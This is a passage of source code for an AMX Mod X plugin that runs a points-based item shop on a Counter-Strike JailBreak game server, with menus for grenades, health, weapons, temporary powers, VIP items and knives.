  1290. add(motd, 3499, "<html><head><title>JailBreak Shop</title>^n<style type=^"text/css^">^npre { font-family:Verdana,Tahoma; color:#FFB000; }^nbody { background:#000000; margin-left:8px; margin-top:0px; }^n</style></head>^n<body scroll=^"none^">^n<pre>^n^n")
  1291. add(motd, 3499, "<b><center>^nJailBreak Shop [Version: 1.0]^n(Help Motd)^nby BeatTheB-Jail</center></b>^n<hr>^nInfo:^n(For Terrorist)^nKill CT - 3 Point^nKill CT On HeadShot - 5 Point^n(For Counter Terrorist)^nSurviving - 5 Point^n")
  1292. add(motd, 3499, "Suicide - 2^n^nWhat's new (in version 0.6):^nYou get a few points I received a registered Chat and why^nGrenade Menu: All Grenades option^nVIP Menu: Fixed voice option^nKnife Power: 3 options^n^n")
  1293. add(motd, 3499, "(in version 0.7):^nFixed Godmode option^n^n(in version 0.8):^nAdded SilentWalk (Other Menu)^nNew Scriptings^n^n^nComming Soon:^nMore Options (Weapons / Powers)^nAdd Effects^nMore Sounds^n^nCommands To open The Shop Menu:^nZ - radio1^nX - radio2^nC - radio3^nOn Chat (say and say_team):^nshop , /shop, !shop - open Shop Menu^n")
  1294. add(motd, 3499, "/mypoints, /points - Message : My Points^n^n^nPlease Report on My Skype All Bugs Or have of ideas- barel123133 <hr>^n")
  1295. show_motd(id, motd)
  1296. ActionShopMenu(id)
  1297. }
  1298. case 0: menu_destroy(shopmenu)
  1299. }
  1300. }
  1301.  
  1302. public sub_ActionGrenadesMenu(id, shophmenu, item)
  1303. {
  1304. if(item == MENU_EXIT || !is_user_alive(id))
  1305. {
  1306. ActionShopMenu(id)
  1307. return
  1308. }
  1309. new shopname[33]
  1310. get_user_name(id, shopname, 31)
  1311. new Data[7], Name[64], Access, Callback
  1312. menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
  1313.  
  1314. new Key = str_to_num(Data)
  1315.  
  1316. switch (Key)
  1317. {
  1318. case 1:
  1319. {
  1320. if(playerpoints[id] < 5) {
  1321. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1322. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
  1323. } else {
  1324. fm_give_item(id, "weapon_smokegrenade")
  1325.  
  1326. ColorChat(0, "^4%s ^1Buy ^3^"Smoke Grenade^"", shopname)
  1327. playerpoints[id] -= 5
  1328. }
  1329. }
  1330. case 2:
  1331. {
  1332. if(playerpoints[id] < 10) {
  1333. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1334. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
  1335. } else {
  1336. fm_give_item(id, "weapon_flashbang")
  1337.  
  1338. ColorChat(0, "^4%s ^1Buy ^3^"Flash Grenade^"", shopname)
  1339. playerpoints[id] -= 10
  1340. }
  1341. }
  1342. case 3:
  1343. {
  1344. if(playerpoints[id] < 15) {
  1345. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1346. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
  1347. } else {
  1348. fm_give_item(id, "weapon_hegrenade")
  1349.  
  1350. ColorChat(0, "^4%s ^1Buy ^3^"HE Grenade^"", shopname)
  1351. playerpoints[id] -= 15
  1352. }
  1353. }
  1354. case 4:
  1355. {
  1356. if(playerpoints[id] < 20) {
  1357. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1358. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
  1359. } else {
  1360. fm_give_item(id, "weapon_hegrenade")
  1361. fm_give_item(id, "weapon_flashbang")
  1362. fm_give_item(id, "weapon_smokegrenade")
  1363.  
  1364. ColorChat(0, "^4%s ^1Buy ^3^"All Grenades^"", shopname)
  1365. playerpoints[id] -= 20
  1366. }
  1367. }
  1368. }
  1369. ActionShopMenu(id)
  1370. }
  1371.  
  1372. public sub_ActionHealthMenu(id, shophmenu, item)
  1373. {
  1374. if(item == MENU_EXIT || !is_user_alive(id))
  1375. {
  1376. ActionShopMenu(id)
  1377. return
  1378. }
  1379. new shopname[33]
  1380. get_user_name(id, shopname, 31)
  1381. new Data[7], Name[64], Access, Callback
  1382. menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
  1383.  
  1384. new Key = str_to_num(Data)
  1385.  
  1386. switch (Key)
  1387. {
  1388. case 1:
  1389. {
  1390. if(playerpoints[id] < 5) {
  1391. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1392. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
  1393. } else {
  1394. fm_set_user_health(id, get_user_health(id) + 10)
  1395.  
  1396. ColorChat(0, "^4%s ^1Buy ^3^"10 Health^"", shopname)
  1397. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1398. playerpoints[id] -= 5
  1399. }
  1400. }
  1401. case 2:
  1402. {
  1403. if(playerpoints[id] < 9) {
  1404. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1405. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 9)
  1406. } else {
  1407. fm_set_user_health(id, get_user_health(id) + 20)
  1408.  
  1409. ColorChat(0, "^4%s ^1Buy ^3^"20 Health^"", shopname)
  1410. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1411. playerpoints[id] -= 9
  1412. }
  1413. }
  1414. case 3:
  1415. {
  1416. if(playerpoints[id] < 13) {
  1417. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1418. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 13)
  1419. } else {
  1420. fm_set_user_health(id, get_user_health(id) + 30)
  1421.  
  1422. ColorChat(0, "^4%s ^1Buy ^3^"30 Health^"", shopname)
  1423. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1424. playerpoints[id] -= 13
  1425. }
  1426. }
  1427. case 4:
  1428. {
  1429. if(playerpoints[id] < 17) {
  1430. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1431. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 17)
  1432. } else {
  1433. fm_set_user_health(id, get_user_health(id) + 40)
  1434.  
  1435. ColorChat(0, "^4%s ^1Buy ^3^"40 Health^"", shopname)
  1436. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1437. playerpoints[id] -= 17
  1438. }
  1439. }
  1440. case 5:
  1441. {
  1442. if(playerpoints[id] < 20) {
  1443. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1444. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
  1445. } else {
  1446. fm_set_user_health(id, get_user_health(id) + 50)
  1447.  
  1448. ColorChat(0, "^4%s ^1Buy ^3^"50 Health^"", shopname)
  1449. emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1450. playerpoints[id] -= 20
  1451. }
  1452. }
  1453. }
  1454. ActionShopMenu(id)
  1455. }
  1456.  
  1457. public sub_ActionWeaponsMenu(id, shopwmenu, item)
  1458. {
  1459. if(item == MENU_EXIT || !is_user_alive(id))
  1460. {
  1461. ActionShopMenu(id)
  1462. return
  1463. }
  1464. new Data[7], Name[64], Access, Callback
  1465. menu_item_getinfo(shopwmenu, item, Access, Data,5, Name, 63, Callback)
  1466.  
  1467. new Key = str_to_num(Data)
  1468.  
  1469. switch (Key)
  1470. {
  1471. case 1:
  1472. {
  1473. if(playerpoints[id] < 15) {
  1474. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1475. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
  1476. } else {
  1477. if(user_has_weapon(id, CSW_GLOCK18))
  1478. return
  1479. fm_give_item(id, "weapon_glock18")
  1480. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_glock18", id), 3)
  1481.  
  1482. ColorChat(id, "^1You ar Buy ^3^"Glock^"")
  1483. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1484. playerpoints[id] -= 15
  1485. }
  1486. }
  1487. case 2:
  1488. {
  1489. if(playerpoints[id] < 20) {
  1490. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1491. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
  1492. } else {
  1493. if(user_has_weapon(id, CSW_USP))
  1494. return
  1495. fm_give_item(id, "weapon_usp")
  1496. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_usp", id), 3)
  1497.  
  1498. ColorChat(id, "You ar Buy ^3^"Usp^"")
  1499. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1500. playerpoints[id] -= 20
  1501. }
  1502. }
  1503. case 3:
  1504. {
  1505. if(playerpoints[id] < 25) {
  1506. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1507. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 25)
  1508. } else {
  1509. if(user_has_weapon(id, CSW_DEAGLE))
  1510. return
  1511. fm_give_item(id, "weapon_deagle")
  1512. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 1)
  1513.  
  1514. ColorChat(id, "You ar Buy ^3^"Deagle^"")
  1515. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1516. playerpoints[id] -= 25
  1517. }
  1518. }
  1519. case 4:
  1520. {
  1521. if(playerpoints[id] < 35) {
  1522. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1523. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
  1524. } else {
  1525. if(user_has_weapon(id, CSW_AWP))
  1526. return
  1527. fm_give_item(id, "weapon_awp")
  1528. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
  1529.  
  1530. ColorChat(id, "You ar Buy ^3^"Awp^"")
  1531. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1532. playerpoints[id] -= 35
  1533. }
  1534. }
  1535. }
  1536. ActionShopMenu(id)
  1537. }
  1538.  
  1539. public sub_ActionPowerMenu(id, shoppmenu, item)
  1540. {
  1541. if(item == MENU_EXIT || !is_user_alive(id))
  1542. {
  1543. ActionShopMenu(id)
  1544. return
  1545. }
  1546. new shopname[33]
  1547. get_user_name(id, shopname, 31)
  1548. new Data[7], Name[64], Access, Callback
  1549. menu_item_getinfo(shoppmenu, item, Access, Data,5, Name, 63, Callback)
  1550.  
  1551. new Key = str_to_num(Data)
  1552.  
  1553. switch (Key)
  1554. {
  1555. case 1:
  1556. {
  1557. if(playerpoints[id] < 20) {
  1558. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1559. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
  1560. } else {
  1561. cs_set_user_model(id, "Ex-Guard")
  1562. set_task(20.0, "RemoveCam", id)
  1563.  
  1564. ColorChat(0, "^4%s ^1Buy ^3^"Camouflage^" ^1From 20 Seconds", shopname)
  1565. playerpoints[id] -= 20
  1566. }
  1567. }
  1568. case 2:
  1569. {
  1570. if(playerpoints[id] < 15) {
  1571. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1572. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
  1573. } else {
  1574. entity_set_float(id, EV_FL_maxspeed, 400.0)
  1575. set_task(20.0, "RemoveSpeed", id)
  1576.  
  1577. ColorChat(0, "^4%s ^1Buy ^3^"Speed^" ^1From 20 Seconds", shopname)
  1578. playerpoints[id] -= 15
  1579. }
  1580. }
  1581. case 3:
  1582. {
  1583. if(playerpoints[id] < 15) {
  1584. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1585. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
  1586. } else {
  1587. entity_set_float(id, EV_FL_gravity, 500.0 / 800.0)
  1588. set_task(20.0, "RemoveGravity", id)
  1589.  
  1590. ColorChat(0, "^4%s ^1Buy ^3^"Gravity^" ^1From 15 Seconds", shopname)
  1591. playerpoints[id] -= 15
  1592. }
  1593. }
  1594. case 4:
  1595. {
  1596. if(playerpoints[id] < 15) {
  1597. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1598. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
  1599. } else {
  1600. fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  1601. set_task(4.0, "RemoveStealth", id)
  1602.  
  1603. ColorChat(0, "^4%s ^1Buy ^3^"Stealth^" ^1From 20 Seconds", shopname)
  1604. playerpoints[id] -= 15
  1605. }
  1606. }
  1607. case 5:
  1608. {
  1609. if(playerpoints[id] < 40) {
  1610. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1611. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 40)
  1612. } else {
  1613. fm_set_user_godmode(id, 1)
  1614. set_task(10.0, "RemoveGodmode", id)
  1615.  
  1616. ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 10 Seconds^"", shopname)
  1617. emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1618. playerpoints[id] -= 40
  1619. }
  1620. }
  1621. case 6:
  1622. {
  1623. if(playerpoints[id] < 45) {
  1624. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1625. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 45)
  1626. } else {
  1627. fm_set_user_noclip(id, 1)
  1628. set_task(10.0, "RemoveNoclip", id)
  1629.  
  1630. ColorChat(id, "^4VIP: %s ^1Buy ^3^"Noclip 10 Seconds^"", shopname)
  1631. emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1632. playerpoints[id] -= 45
  1633. }
  1634. }
  1635. }
  1636. ActionShopMenu(id)
  1637. }
  1638.  
  1639. public sub_ActionVIPMenu(id, shopvmenu, item)
  1640. {
  1641. if(item == MENU_EXIT || !is_user_alive(id))
  1642. {
  1643. ActionShopMenu(id)
  1644. return
  1645. }
  1646. else if(get_vip[id] || is_user_admin(id))
  1647. {
  1648. new shopname[33]
  1649. get_user_name(id, shopname, 31)
  1650. new Data[7], Name[64], Access, Callback
  1651. menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
  1652.  
  1653. new Key = str_to_num(Data)
  1654.  
  1655. switch (Key)
  1656. {
  1657. case 1:
  1658. {
  1659. if(playerpoints[id] < 20) {
  1660. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1661. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
  1662. } else {
  1663. if(user_has_weapon(id, CSW_DEAGLE))
  1664. return
  1665. fm_give_item(id, "weapon_deagle")
  1666. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 2)
  1667.  
  1668. ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Deagle 2 Bullet^"")
  1669. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1670. playerpoints[id] -= 20
  1671. }
  1672. }
  1673. case 2:
  1674. {
  1675. if(playerpoints[id] < 25) {
  1676. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1677. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 25)
  1678. } else {
  1679. if(user_has_weapon(id, CSW_AWP))
  1680. return
  1681. fm_give_item(id, "weapon_awp")
  1682. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
  1683.  
  1684. ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Awp 1 Bullet^"")
  1685. emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1686. playerpoints[id] -= 25
  1687. }
  1688. }
  1689. case 3:
  1690. {
  1691. if(playerpoints[id] < 35) {
  1692. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1693. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
  1694. } else {
  1695. fm_set_user_godmode(id, 1)
  1696. set_task(10.0, "RemoveGodmode", id)
  1697. ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 20 Seconds^"", shopname)
  1698. emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1699. playerpoints[id] -= 35
  1700. }
  1701. }
  1702. case 4:
  1703. {
  1704. if(playerpoints[id] < 15) {
  1705. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1706. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
  1707. } else {
  1708. cs_set_user_model(id, "Ex-Guard")
  1709. set_task(30.0, "RemoveCam", id)
  1710.  
  1711. ColorChat(0, "^4VIP: %s ^1Buy ^3^"Camouflage^" ^1From 30 Seconds", shopname)
  1712. playerpoints[id] -= 15
  1713. }
  1714. }
  1715. case 5:
  1716. {
  1717. if(playerpoints[id] < 15) {
  1718. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1719. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
  1720. } else {
  1721. fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  1722. set_task(5.0, "RemoveStealth", id)
  1723.  
  1724. ColorChat(0, "^4VIP: %s ^1Buy ^3^"Stealth^" ^1From 5 Seconds", shopname)
  1725. playerpoints[id] -= 15
  1726. }
  1727. }
  1728. case 6:
  1729. {
  1730. if(playerpoints[id] < 20) {
  1731. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1732. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
  1733. } else {
  1734. set_bit(g_PlayerVoice, id)
  1735.  
  1736. ColorChat(0, "^4VIP: %s ^1Buy ^3^"Voice^" ^1From 1 Round", shopname)
  1737. playerpoints[id] -= 20
  1738. }
  1739. }
  1740. }
  1741. }
  1742. else
  1743. ColorChat(id, "^4You have no access to this")
  1744. ActionShopMenu(id)
  1745. }
  1746.  
  1747. public sub_ActionKnifeMenu(id, shopvmenu, item)
  1748. {
  1749. if(item == MENU_EXIT || !is_user_alive(id))
  1750. {
  1751. ActionShopMenu(id)
  1752. return
  1753. }
  1754. new shopname[33]
  1755. get_user_name(id, shopname, 31)
  1756. new Data[7], Name[64], Access, Callback
  1757. menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
  1758.  
  1759. new Key = str_to_num(Data)
  1760.  
  1761. switch(Key)
  1762. {
  1763. case 1,2,3:
  1764. {
  1765. if(playerpoints[id] < 10) {
  1766. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1767. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
  1768. } else {
  1769. new showknifekey[20]
  1770. if(Key == 1) {
  1771. set_bit(g_PlayerCrowbar, id)
  1772. formatex(showknifekey, 19, "CrowBar")
  1773. } else if(Key == 2) {
  1774. set_bit(g_PlayerStunGun, id)
  1775. formatex(showknifekey, 19, "Stun Gun")
  1776. } else if(Key == 3) {
  1777. set_bit(g_PlayerDildo, id)
  1778. formatex(showknifekey, 19, "Dildo")
  1779. }
  1780. Event_CurWeapon(id)
  1781.  
  1782. ColorChat(0, "^4%s ^1Buy ^3^"%s^"", shopname, showknifekey)
  1783. playerpoints[id] -= 10
  1784. }
  1785. }
  1786. case 4:
  1787. {
  1788. if(playerpoints[id] < 10) {
  1789. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1790. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
  1791. } else {
  1792. set_bit(g_PlayerBH, id)
  1793. Event_CurWeapon(id)
  1794.  
  1795. ColorChat(0, "^4%s ^1Buy ^3^"Super Bunny Hop Knife^"", shopname)
  1796. playerpoints[id] -= 10
  1797. }
  1798. }
  1799. case 5:
  1800. {
  1801. if(playerpoints[id] < 10) {
  1802. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1803. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
  1804. } else {
  1805. set_bit(g_PlayerSpeed, id)
  1806. Event_CurWeapon(id)
  1807.  
  1808. ColorChat(0, "^4%s ^1Buy ^3^"Speed Knife^"", shopname)
  1809. playerpoints[id] -= 10
  1810. }
  1811. }
  1812. case 6:
  1813. {
  1814. if(playerpoints[id] < 10) {
  1815. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1816. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
  1817. } else {
  1818. set_bit(g_PlayerGravity, id)
  1819. Event_CurWeapon(id)
  1820.  
  1821. ColorChat(0, "^4%s ^1Buy ^3^"Gravity Knife^"", shopname)
  1822. playerpoints[id] -= 10
  1823.  
  1824. }
  1825. }
  1826. }
  1827. // case 7:
  1828. // {
  1829. // if(playerpoints[id] < 35) {
  1830. //emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1831. //ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
  1832. //} else {
  1833. //set_bit(g_bHasCellKeys, id)
  1834. //Event_CurWeapon(id)
  1835.  
  1836. //ColorChat(0, "^4%s ^1Buy ^3^"Cell Key^"", shopname)
  1837. //playerpoints[id] -= 35
  1838. // }
  1839. //}
  1840. //}
  1841. ActionShopMenu(id)
  1842. }
  1843.  
  1844. public sub_ActionOtherMenu(id, shopomenu, item)
  1845. {
  1846. if(item == MENU_EXIT || !is_user_alive(id))
  1847. {
  1848. ActionShopMenu(id)
  1849. return
  1850. }
  1851. new shopname[33]
  1852. get_user_name(id, shopname, 31)
  1853. new Data[7], Name[64], Access, Callback
  1854. menu_item_getinfo(shopomenu, item, Access, Data,5, Name, 63, Callback)
  1855.  
  1856. new Key = str_to_num(Data)
  1857.  
  1858. switch (Key)
  1859. {
  1860. case 1:
  1861. {
  1862. if(playerpoints[id] < 70) {
  1863. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1864. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 70)
  1865. } else {
  1866. count = 0
  1867.  
  1868. for(user = 1 ; user <= g_max_clients ; user++)
  1869. if(get_user_flags(user) & ADMIN_CVAR)
  1870. count++
  1871. if(count == 0) {
  1872. cs_set_user_team(id, CS_TEAM_CT)
  1873. ExecuteHamB(Ham_CS_RoundRespawn, id)
  1874. ColorChat(0, "^4%s ^1Buy ^3^"Change Team^"", shopname)
  1875. playerpoints[id] -= 70
  1876. }
  1877. else
  1878. ColorChat(id, "This option dont work because some admin is online.")
  1879. }
  1880. }
  1881. case 2:
  1882. {
  1883. if(playerpoints[id] < 5) {
  1884. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1885. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
  1886. } else {
  1887. cs_set_user_model(id, "vip")
  1888.  
  1889. ColorChat(0, "^4%s ^1Buy ^3^"VIP Model^" ^1Once Round", shopname)
  1890. playerpoints[id] -= 5
  1891. }
  1892. }
  1893. case 3:
  1894. {
  1895. if(playerpoints[id] < 10) {
  1896. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1897. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
  1898. } else {
  1899. cs_set_user_model(id, "Ex-Woman")
  1900.  
  1901. ColorChat(0, "^4%s ^1Buy ^3^"Admin Model^" ^1Once Round", shopname)
  1902. playerpoints[id] -= 10
  1903. }
  1904. }
  1905. case 4:
  1906. {
  1907. if(playerpoints[id] < 30) {
  1908. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1909. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 30)
  1910. } else {
  1911. fm_set_user_rendering(id, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
  1912.  
  1913. ColorChat(0, "^4%s ^1Buy ^3^"Freeday^" ^1Once Round", shopname)
  1914. playerpoints[id] -= 30
  1915. }
  1916. }
  1917. case 5:
  1918. {
  1919. if(playerpoints[id] < 10) {
  1920. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1921. ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
  1922. } else {
  1923. footstep[id] = true
  1924. set_task(30.0, "RemoveFootsteps", id)
  1925. fm_set_user_rendering(id, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
  1926.  
  1927. ColorChat(0, "^4%s ^1Buy ^3^"SilentWalk^" ^130 Seconds", shopname)
  1928. playerpoints[id] -= 10
  1929. }
  1930. }
  1931. }
  1932. ActionShopMenu(id)
  1933. }
  1934.  
  1935. public PlayerPointsMenu(id)
  1936. {
  1937. new shopppmenu = menu_create("\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yPlayers Points", "sub_ActionPlayersPoints")
  1938.  
  1939. new name[32], szTempid[10], Item[100]
  1940. for( new i = 1; i <= g_max_clients; i++ )
  1941. {
  1942. if(!is_user_connected(i)) continue
  1943.  
  1944. get_user_name(i, name, sizeof(name) - 1)
  1945. num_to_str(i, szTempid, 9)
  1946.  
  1947. if(playerpoints[i] <= 50) formatex(_status[id], 20, "Ex Beginner")
  1948. else if(playerpoints[i] <= 100) formatex(_status[id], 20, "Ex Novice")
  1949. else if(playerpoints[i] <= 200) formatex(_status[id], 20, "Ex Distinguished")
  1950. else if(playerpoints[i] <= 300) formatex(_status[id], 20, "Ex Competent")
  1951. else if(playerpoints[i] <= 400) formatex(_status[id], 20, "Ex Master")
  1952. else if(playerpoints[i] <= 500) formatex(_status[id], 20, "Ex Winner")
  1953. else if(playerpoints[i] <= 1000) formatex(_status[id], 20, "Ex Killer")
  1954. else if(playerpoints[i] <= 1500 || playerpoints[i] >= 1500) formatex(_status[id], 20, "Ex Millyoner")
  1955.  
  1956. formatex(Item, 99, "\y%s \w%d \r%s", name, playerpoints[i], _status[id])
  1957. menu_additem(shopppmenu, Item, szTempid)
  1958. }
  1959. menu_setprop(shopppmenu, MPROP_EXITNAME, "\yExit Shop")
  1960. menu_display(id, shopppmenu)
  1961. }
  1962.  
  1963. public sub_ActionPlayersPoints(client, shopppmenu, item)
  1964. {
  1965. if(item == MENU_EXIT)
  1966. {
  1967. ActionShopMenu(client)
  1968. return
  1969. }
  1970. new data[6], iName[64]
  1971. new _access, callback
  1972. menu_item_getinfo(shopppmenu, item, _access, data,5, iName, 63, callback)
  1973.  
  1974. new tempid = str_to_num(data)
  1975.  
  1976. if(!is_user_connected(tempid)) return
  1977. new name[32]
